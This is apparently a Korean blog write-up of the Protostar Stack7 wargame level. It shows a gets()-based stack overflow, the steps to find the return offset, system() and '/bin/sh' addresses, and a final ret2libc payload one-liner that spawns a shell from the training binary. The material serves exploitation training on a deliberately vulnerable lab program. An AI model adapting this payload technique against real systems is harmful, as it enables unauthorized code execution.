ii4gsp

Exploit Exercises [Protostar - Stack7] 본문

시스템 해킹/Exploit Exercises - Protostar

Exploit Exercises [Protostar - Stack7]

ii4gsp 2020. 1. 17. 13:54
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

char *getpath()
{
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);

  if((ret & 0xb0000000) == 0xb0000000) {
      printf("bzzzt (%p)\n", ret);
      _exit(1);
  }

  printf("got path %s\n", buffer);
  return strdup(buffer);
}

int main(int argc, char **argv)
{
  getpath();
}

ret의 시작 주소가 b로 시작하면 안된다.

ROP기법을  사용해야 한다.

 

 

 

 

buffer에서 ret까지의 거리는 80이다.

<getpath+38>부분에 break point를 걸고 system()함수 함수의 주소를 구해야 한다.

 

 

 

 

system() 함수의 주소는 0xb7ecffb0 이다.

/bin/sh의 주소를 구해주자

 

 

 

 

#include <stdio.h>
#include <string.h>

int main()
{
    long system = 0xb7ecffb0;
    
    while(memcmp(system, "/bin/sh\x00", 8))
        system++;
        
    printf("%p\n", system);
    return 0;
}

소스코드를 작성해주고 컴파일 해주자

 

 

 

/bin/sh의 주소는 0xb7fb63bf이다.

 

 

 

objdump 명령으로 ret 명령어의 주소를 구해주었다.

페이로드는 buffer ~ ret + ret명령어 주소 + system() 함수 주소 + dummy + /bin/sh 주소

 

 

 

 

payload

(python -c 'print "\x90" * 80 + "\x83\x83\x04\x08" + "\xb0\xff\xec\xb7" + "\x90" * 4 + "\xbf\x63\xfb\xb7"';cat) | ./stack7
Comments